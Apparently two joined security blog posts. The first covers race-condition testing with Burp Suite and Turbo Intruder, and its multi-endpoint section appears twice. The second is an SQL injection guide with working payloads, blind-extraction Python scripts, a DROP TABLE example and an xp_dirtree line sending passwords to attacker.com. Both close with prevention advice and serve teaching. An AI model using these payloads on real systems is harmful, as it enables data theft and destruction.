Burp Repeater has historically been used for sending individual HTTP requests and analyzing responses. While invaluable for manual testing, it was previously limited in scenarios where concurrent request timing was critical.

With the 2023.9 update, Burp Repeater introduced parallel request execution, allowing testers to send multiple, carefully crafted requests simultaneously. This functionality dramatically enhances the ability to exploit vulnerabilities that depend on precise timing, such as race conditions.

Understanding the Role of Network Jitter

Network jitter refers to the variability in packet delay across a network. Even a high-speed connection can suffer from inconsistent delivery times, which significantly affects any exploit that depends on synchronized timing. In the context of race condition testing, jitter introduces unpredictability—causing well-timed requests to miss the race window entirely.

To address this, Burp Suite introduced two protocol-specific synchronization strategies aimed at minimizing the impact of jitter.

Exploiting Race Conditions over HTTP/1: The Last-Byte Synchronization Technique

When testing a target that communicates over the HTTP/1 protocol, Burp Repeater leverages a technique known as last-byte synchronization.

In this method:

Multiple requests are prepared and transmitted up to the final byte.
These partially sent requests are held in a queued state by the tool.
At the precise moment, the final byte of each request is released simultaneously.

This ensures that all requests hit the server at the same time, entering the same race window and maximizing the chance of triggering a vulnerability. The technique effectively removes jitter from the equation during the critical portion of the request transmission.

Exploiting Race Conditions over HTTP/2: The Single-Packet Attack

In environments where the target application supports HTTP/2, Burp Suite employs a more sophisticated approach known as the Single-Packet Attack, which was first introduced at Black Hat 2023 by PortSwigger researchers.

This technique involves:

Crafting multiple complete HTTP/2 requests.
Combining them into a single TCP packet.
Transmitting that single packet so that all embedded requests are processed by the server simultaneously.

The benefit of this method is that it eliminates the risk of jitter entirely, as the server receives and processes all requests within the same network operation. It is particularly effective against modern web applications with asynchronous or multi-threaded backend processing, where subtle timing mismatches can otherwise prevent successful exploitation.

Implications for Limit Overrun Exploits

When attempting to exploit limit overrun vulnerabilities, the ability to synchronize requests at a granular level is critical. Whether you're:

Applying the same discount code multiple times
Triggering concurrent withdrawals in a fintech application
Circumventing resource allocation limits

these new techniques in Burp Suite significantly improve the likelihood of a successful exploit.

By utilizing either last-byte synchronization (HTTP/1) or the single-packet attack (HTTP/2), penetration testers can reliably enter the temporary sub-states that make race condition exploits possible.

Why send so many requests?

You may think that race conditions can be easily exploited by 2 requests so why send 20-30 parallel requests at the same time. The reasons for this are-

It overcomes server-side delays (aka internal latency or server-side jitter)

It increases your chances of hitting the vulnerable timing

Great during the recon/discovery phase when you’re probing behavior and testing the race condition vulnerability

basically the more requests you send the more your chances increase of hitting the sweet spot

Let's take our previous example where we try to redeem coupons at the same time and and exploit the race condition

Normally, jitter might cause one request to arrive too early or too late

With Burp's new techniques, you can flood the server with 30 simultaneous coupon redeems

If the timing is right, the coupon might be used multiple times and then your vulnerability would be confirmed

Turbo Intruder – The Fast Lane for Race Condition Attacks

Turbo Intruder is a powerful Burp Suite extension designed for lightning-fast, customizable HTTP request attacks. Unlike the default Intruder tool, Turbo Intruder uses asynchronous I/O and optimized threading to send thousands of requests per second, making it ideal for testing race conditions, brute-force attacks, token fuzzing, and more.

Key Features:

Blazing Speed: Far faster than Burp’s built-in Intruder, even in the Community Edition.
Python Scripting: Full control over request generation and response handling using Jython.
Asynchronous Engine: Efficiently handles massive concurrent connections.
Versatile Use Cases: Race conditions, login brute-forcing, JWT tampering, SSRF detection, HTTP desync attacks, and more.

How to Use:

Install from Burp's BApp Store.
Right-click any request → Send to Turbo Intruder.
Customize the pre-built Python script to define payloads, logic, and filtering.

Example Use Case:

Detecting a race condition by sending 100 concurrent password reset requests in parallel.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=100,
                           pipeline=False)
    for i in range(100):
        engine.queue(target.req, gate='race')

def handleResponse(req, interesting):
    if 'Success' in req.response:
        print('Race condition triggered!')

Note:

Use responsibly — Turbo Intruder can overwhelm or crash servers if misused. Always test within a legal scope.

Using Turbo Intruder to Detect Race Condition Overruns

Detecting Race Conditions with Single-Packet Attacks

To detect overrun vulnerabilities caused by race conditions, Turbo Intruder supports a technique known as the single-packet attack. This method involves grouping requests and sending them simultaneously within a single TCP packet, assuming the server supports HTTP/2.

Setup Instructions

Ensure the target application supports HTTP/2, as the single-packet attack is not compatible with HTTP/1.
Configure the request engine to use the HTTP/2 backend with one concurrent connection:

   engine = RequestEngine(
       endpoint=target.endpoint,
       concurrentConnections=1,
       engine=Engine.BURP2
   )

Queue multiple requests using a gate label. For example, queue 20 requests under gate '1':

   for i in range(20):
       engine.queue(target.req, gate='1')

Once queued, release all requests in the gate at once:

   engine.openGate('1')

This structure ensures that all 20 requests are sent in parallel within the same TCP packet, increasing the likelihood of triggering a race condition if one exists.

Single endpoint race condition

Sending parallel requests to a single endpoint can be really important in some cases, for example consider a password reset mechanism that stores the user ID and reset token in the user's session.

In this scenario, sending two parallel password reset requests from the same session, but with two different usernames, could potentially cause the collision in password reset mechanism

Methodology to follow to exploit race conditions

1. Predict potential collisions

Testing every endpoint is impractical. After mapping out the target site as normal, you can reduce the number of endpoints that you need to test by asking yourself the following questions:

Is this endpoint security critical? Many endpoints don't touch critical functionality, so they're not worth testing.
Is there any collision potential? For a successful collision, you typically need two or more requests that trigger operations on the same record.

2. Probe for clues(Race condition testing)

First, understand how the endpoint behaves normally by sending a group of requests one after another in sequence using Burp Repeater. This gives you a baseline.

Next, send the same group of requests all at once (in parallel) to simulate a race condition. This reduces network delay and may trigger unexpected behavior. Use "Send group in parallel" in Burp Repeater or Turbo Intruder for faster, more aggressive testing.

Watch for any differences in responses or app behavior — even small changes like different emails or weird UI behavior. These deviations are clues that a race condition may exist.

3. Prove the concept

Try to understand what's happening, remove superfluous requests, and make sure you can still replicate the effects.

Advanced race conditions can cause unusual and unique primitives, so the path to maximum impact isn't always immediately obvious. It may help to think of each race condition as a structural weakness rather than an isolated vulnerability.

Multi endpoint race conditions

We can also send requests to multiple endpoints at the same time. think about the classic logic flaw in online stores where you add an item to your basket or cart, pay for it, then add more items to the cart before force-browsing to the order confirmation page.

Understanding Multi-Endpoint Race Conditions: Problems and Workarounds

When exploiting race conditions, attackers often target a single vulnerable endpoint. However, when a race condition spans multiple endpoints, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.

Why Multi-Endpoint Race Conditions Are Challenging

Network Delays

Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:

HTTP/1.1: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.
HTTP/2: Uses multiplexing over a single connection, reducing connection-related delays.

These delays usually affect all requests uniformly, so even if there’s a delay, the relative timing between requests may still remain intact.

If only the first request is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.

Endpoint-Specific Delays

Some endpoints take longer to process than others due to:

Complex business logic
Heavy database operations
Additional validation steps

These delays impact only the affected endpoints, disrupting synchronization across requests.

If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.

Workarounds for Synchronizing Requests

To deal with inconsistencies and improve synchronization, consider the following techniques:

1. Adjust Request Timing Manually

Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.

2. Use Connection Reuse or HTTP/2

Reducing connection overhead helps requests arrive more predictably:

Reuse TCP connections using the Keep-Alive header.
Prefer HTTP/2, which allows multiple requests to be sent simultaneously over a single connection.

3. Pad Faster Endpoints

If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:

Add delays (e.g., using sleep() functions, if supported)
Increase payload size to artificially extend processing time

4. Use Turbo Intruder for Fine-Grained Timing Control

Turbo Intruder is highly effective for controlling request timing at the byte level. You can:

Send warm-up requests to prepare the backend and eliminate one-time delays
Precisely schedule real attack requests to align with specific processing windows

This allows you to fine-tune request dispatch with minimal network interference.

Additional Tips

Run multiple iterations to measure and understand timing differences across endpoints.
Ensure all endpoints use the same session or authentication context, if required.
Test under consistent conditions to isolate variability in response timing.

Understanding Multi-Endpoint Race Conditions: Problems and Workarounds

Why Multi-Endpoint Race Conditions Are Challenging

Network Delays

Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:

HTTP/1.1: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.
HTTP/2: Uses multiplexing over a single connection, reducing connection-related delays.

These delays usually affect all requests uniformly, so even if there’s a delay, the relative timing between requests may still remain intact.

If only the first request is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.

Endpoint-Specific Delays

Some endpoints take longer to process than others due to:

Complex business logic
Heavy database operations
Additional validation steps

These delays impact only the affected endpoints, disrupting synchronization across requests.

If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.

Workarounds for Synchronizing Requests

To deal with inconsistencies and improve synchronization, consider the following techniques:

1. Adjust Request Timing Manually

Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.

2. Use Connection Reuse or HTTP/2

Reducing connection overhead helps requests arrive more predictably:

Reuse TCP connections using the Keep-Alive header.
Prefer HTTP/2, which allows multiple requests to be sent simultaneously over a single connection.

3. Pad Faster Endpoints

If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:

Add delays (e.g., using sleep() functions, if supported)
Increase payload size to artificially extend processing time

4. Use Turbo Intruder for Fine-Grained Timing Control

Turbo Intruder is highly effective for controlling request timing at the byte level. You can:

Send warm-up requests to prepare the backend and eliminate one-time delays
Precisely schedule real attack requests to align with specific processing windows

This allows you to fine-tune request dispatch with minimal network interference.

Abusing rate or resource limits for race conditions-

If connection warming doesn' t synchronize your race condition attack, try the following methods

Client-Side Delay (Turbo Intruder)

Turbo Intruder lets you add a short delay before sending each request.
Problem: This splits the request over multiple TCP packets, so you can't use single-packet attacks.
Not reliable on high-jitter targets (where network timing is unpredictable).

Triggering Server-Side Delay (Smart Bypass)

Abuse rate-limiting: Send many dummy requests quickly to the server.
This forces the server to slow down processing (common anti-abuse feature).
Now send your real attack request during that slowdown.
Helps make single-packet race condition attacks work even if delay is needed.

How to Prevent Race Condition Vulnerabilities

Race conditions occur when two or more operations execute simultaneously and cause unexpected or harmful behavior. Here are practical techniques to prevent them in your applications:

1. Avoid Mixing Different Data Sources

Don’t combine data from different sources (e.g., database and cache) when making critical decisions.
Always rely on a single, trusted source—typically your main database—for sensitive operations like authentication, payments, or order validation.

2. Make Critical Actions Atomic

Wrap multi-step processes inside a single transaction to prevent interference between steps.
For example, when placing an order:
- Validate the cart total
- Process the payment
- Save the order
- All of this should happen in one atomic transaction.

3. Use Built-in Database Protections

Enforce constraints to maintain data integrity:
- Unique constraints (e.g., on username or email)
- Foreign key constraints to prevent orphan records
These automatically prevent many race condition scenarios by rejecting invalid or duplicate data at the database level.

4. Don’t Rely on Sessions to Protect Database Logic

Sessions should be used for tracking user identity, not for controlling the number of allowed operations.
Use server-side protections instead:
- Database-level row limits
- Application-layer rate limiting
- Request locking or queuing where needed

5. Keep Session State Consistent

When modifying session-related data, update all changes in a single step.
Use transactions to prevent partially updated or corrupted session data.
Frameworks and ORMs like Django or Hibernate support transactional session handling—make use of them.

6. Carefully Consider Stateless Designs (JWT)

Moving state to the client using JSON Web Tokens (JWT) can reduce server-side race conditions.
But if you go stateless, ensure JWTs are:
- Securely signed
- Untampered (with signature verification on every request)
- Short-lived or revocable to prevent replay or misuse

Conclusion

Race condition vulnerabilities are subtle but powerful attack vectors that often slip past traditional security checks. When dealing with multi-endpoint workflows or high-concurrency systems, even minor timing flaws can lead to severe data inconsistencies, privilege escalations, or unauthorized actions.

By understanding how these vulnerabilities arise—and implementing preventative strategies like atomic transactions, database constraints, and proper session handling—you can significantly reduce the risk. Tools like Turbo Intruder can help uncover these flaws during testing, but real security comes from designing systems that are resilient by default.

Race conditions are not just bugs; they’re symptoms of deeper architectural oversights. Fix the timing, structure the logic, and secure the flow—because attackers will race you to production.

Thanks for reading my blog on race conditions, this blog was inspired by the portswigger labs on race condition which gave hands on practical demo in addition to the techniques. All of which I have tried to simplified and provided them in this blog

SQL Injection: All Concepts, All Payloads, All In One

Advik Kant — Sun, 15 Jun 2025 10:28:16 +0000

Mastering SQL Injection: A Deep Dive Guide for Beginners & Pros

Note: This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets.

1. What Is SQL Injection?

SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings containing SQL syntax attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server.

In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example:

SELECT * FROM products WHERE id = '" + userInput + "';

If userInput is 1 OR 1=1, the query becomes:

SELECT * FROM products WHERE id = '1' OR 1=1;

That second condition, 1=1, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments.

2. How to Detect SQL Injection Vulnerabilities

1. Error Observation:
Submit a single quote (') or double quote (") into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages.

2. Behavioral Differences:
Inject boolean conditions such as OR 1=1 versus OR 1=2. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability.

3. Timing Tests:
For blind environments, inject database-specific sleep functions (SLEEP(5) in MySQL, WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output.

4. Automated Scanning:
Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential.

3. Retrieving Hidden Data & Subverting Logic

3.1 Authentication Bypass (Tautology)

Situation: A login form builds a query like:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Injection: Supply username: ' OR '1'='1 and any password:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'foo';

This payload works by injecting an always true condition ('1'='1') that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access.

3.2 Conditional Login Test

Situation: A session tracking cookie, e.g., TrackingId, triggers a custom message “Welcome back!” when valid. Internally:

SELECT * FROM sessions WHERE id = 'TrackingId';

Injection: Toggle the condition to true/false:

Cookie: TrackingId=xyz' AND '1'='1
Cookie: TrackingId=xyz' AND '1'='2

These payloads work by appending additional Boolean expressions to the original query. Choosing 'AND '1'='1' ensures the condition remains valid, causing the application to confirm the session. Conversely, 'AND '1'='2' always fails, demonstrating how Boolean differences reveal injection points.

4. UNION-Based Injection

4.1 Determining Column Count

Applications often return multiple columns. Before using UNION, attackers must match the column count and data types.

Payloads:

?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
... 
?id=1' ORDER BY N--  # yields an error when N exceeds column count

Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge.

4.2 Finding Compatible Data Types

Next, verify which columns accept strings versus numbers:

' UNION SELECT NULL, NULL --  # if two columns
' UNION SELECT 'a', 1 --      # test string-integer mix

Using NULL bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures subsequent data retrieval queries won’t fail due to type mismatches.

4.3 Extracting Data

Once aligned, append your own SELECT:

?id=1' UNION SELECT id, username, password FROM users--

This payload works by merging legitimate query results with attacker-controlled data pulled from the users table. Choosing id, username, password aligns with common columns of interest for credential harvesting.

5. Examining the Database (Information Schema)

When table/column names are unknown, SQLi attackers leverage the metadata tables:

5.1 Enumerate Tables

?id=1' UNION SELECT NULL, table_name FROM information_schema.tables--

Retrieves a list of all tables. We choose information_schema.tables because it’s universally supported across SQL databases.

5.2 Enumerate Columns

?id=1' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

Filters for columns within the users table. This targeted approach avoids overwhelming output and speeds enumeration.

5.3 Dump Specific Columns

?id=1' UNION SELECT NULL, CONCAT(username, ':', password) FROM users--

Concatenates username and password with a delimiter. We pick CONCAT and : for readability and easy parsing in results.

6. Error-Based SQL Injection

When applications display raw database errors, you can force errors to leak data directly by triggering different types of errors. Below are multiple payloads and their purposes:

6.1 Conversion Errors

?id=1' AND 1=CONVERT(int,(SELECT @@version))--

Triggers a type conversion error that includes the result of SELECT @@version in the error message. Useful to identify the database engine and version.

?id=1' AND 1=CAST((SELECT user()) AS INT)--

For systems supporting CAST, this forces a cast error revealing the current database user.

6.2 Arithmetic and Function Errors

?id=1' AND (SELECT TOP 1 name FROM sysobjects) LIKE '%user%' / 0--

Divides by zero when the first table name contains “user”, causing an error if true. This payload combines arithmetic with metadata queries.

?id=1' AND JSON_VALUE((SELECT CONCAT('{"u":"', user(), '"}')), '$.u') IS NULL--

On SQL Server 2016+, uses JSON_VALUE to produce an error if JSON is malformed, leaking user() value.

6.3 XML-Based Errors (MySQL)

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)--

The invalid updatexml call raises an XML parsing error containing the username. The hex 0x7e (~) prefixes the value for easy parsing.

?id=1' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT database())))--

Similar to UPDATEXML, EXTRACTVALUE triggers an error embedding the current database name.

7. Blind SQL Injection

Blind SQLi relies on inference rather than direct output. Here are additional payloads for boolean and time-based variations:

7.1 Boolean-Based (Conditional Responses)

Extract data one bit at a time when no data or errors are returned. Below are multiple payloads and their explanations:

Payload Example 1:

Cookie: TrackingId=xyz' AND (SELECT COUNT(*) FROM users)--

If the count is nonzero, the condition is true and the application may reveal a valid session. Used to test aggregate queries.

Payload Example 2:

Cookie: TrackingId=xyz' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--

Checks for existence of the ‘admin’ user. True if the user exists, false otherwise.

Payload Example 3 (Substring Test):

Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--

Targets the second character of the password. By adjusting position and character, you reconstruct the full string.

7.1.1 Automating with Python

Click to expand script

import requests

tracking_id = input("enter tracking id: ")
session_id = input("enter session id: ")
url = input("enter url: ")

# 1) Find length
def get_length():
    for i in range(1, 50):
        payload = f"'+AND+(select+length(password)+from+users+where+username='administrator')={i}--"
        cookies = {"TrackingId": tracking_id + payload, "session": session_id}
        r = requests.get(url, cookies=cookies)
        if "Welcome back!" in r.text:
            return i

# 2) Extract characters
def get_password(l):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result = ""
    for pos in range(1, l+1):
        for ch in charset:
            payload = f"'+AND+(select+substring(password,{pos},1)+from+users+where+username='administrator')='{ch}'--"
            cookies = {"TrackingId": tracking_id + payload, "session": session_id}
            r = requests.get(url, cookies=cookies)
            if "Welcome back!" in r.text:
                result += ch
                break
    return result

length = get_length()
print("Password length:", length)
print("Password:", get_password(length))

This script calculates the password length then iteratively extracts each character using substring checks and boolean feedback.

7.2 Time-Based Blind Injection

When no response differences or errors are available, use time delays. Additional payload examples:

Payload Example 1 (MySQL SLEEP):

?id=1' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='administrator') > 109, SLEEP(5), 0)--

Checks if the ASCII value of the first character is greater than ‘m’ (109). Sleeps if true, enabling binary search on character values.

Payload Example 2 (MSSQL WAITFOR):

?id=1'; IF (SELECT LEN(password) FROM users WHERE username='administrator') = 10 WAITFOR DELAY '0:0:5'--

Infers password length by sleeping only when the length equals 10.

PostgreSQL Delay via Sleep

Click to expand script

import requests, time

session_id = input("enter session id: ")
url = input("enter url: ")
charset = "abcdefghijklmnopqrstuvwxyz0123456789"

for pos in range(1, 21):
    for ch in charset:
        payload = (
            f"'||(SELECT CASE WHEN substring(password,{pos},1)='{ch}' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--"
        )
        cookies = {"TrackingId": payload, "session": session_id}
        start = time.time()
        requests.get(url, cookies=cookies)
        if time.time() - start > 4:
            print(f"Position {pos}: {ch}")
            break

Using an IF condition with pg_sleep enables bitwise extraction by observing delays. We choose this payload for PostgreSQL environments for its precision and reliability.

8. Out‑of‑Band (OAST) SQL Injection

When neither data nor error feedback is exposed, trigger external callbacks:

?id=1'; EXEC master..xp_dirtree '\\attacker.com\\'+(SELECT password FROM users)+'\\share'--

This payload instructs the database server to perform a network call to the attacker’s domain, embedding the password in the path. We choose the xp_dirtree function because it reliably causes DNS resolution in MSSQL environments.

9. SQL Injection in Different Contexts

Second‑Order SQLi: Payloads stored in the application (e.g., comments, profiles) are later executed when that data is used in a new SQL context:

-- Initial storage:
INSERT INTO posts (content) VALUES ('Great post'); DROP TABLE comments; --
-- Later, when viewing posts, the DROP TABLE executes.

We use this example to illustrate how injections can hide in benign inputs and trigger later, bypassing initial sanitization.

NoSQL Contexts: Document databases like MongoDB suffer similar flaws if user input is embedded directly in JSON queries:

{ "username": userInput, "password": passInput }

Injecting { "$ne": null } bypasses both fields. This payload exploits type coercion and query structure in NoSQL contexts.

10. Preventing SQL Injection

Parameterized Queries / Prepared Statements: Bind variables instead of concatenating strings.
ORMs & Query Builders: Rely on built-in methods that auto-escape inputs.
Strict Input Validation: Use allow-lists for IDs, enforce regex for emails, etc.
Least Privilege: Limit database user rights to only necessary operations.
Error Handling: Suppress verbose errors in production; log details internally.
Regular Testing: Combine automated scanners with manual pentesting.

Never trust user input—always treat it as data, not code.

11. Additional Resources & Cheat Sheets

Practice Platforms

PortSwigger Web Security Academy: https://portswigger.net/web-security
DVWA: http://www.dvwa.co.uk/
OWASP Juice Shop: https://owasp.org/www-project-juice-shop/
Hack The Box: https://www.hackthebox.com/
TryHackMe: https://tryhackme.com/

Cheat Sheets & References

PortSwigger SQL Injection Cheat Sheet: https://portswigger.net/kb/sql-injection-cheat-sheet
OWASP Testing Guide – SQLi: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection
SQLMap Docs: https://sqlmap.org/

Conclusion
SQL Injection remains one of the most critical web vulnerabilities. Mastering each technique—from classic bypass to advanced OAST—empowers both attackers and defenders to secure or exploit applications effectively.

Thanks to everyone who made it to the end of this blog. Make sure to follow me on X (https://x.com/Advik_Kant) till then stay ethical, stay curious, and always code defensively!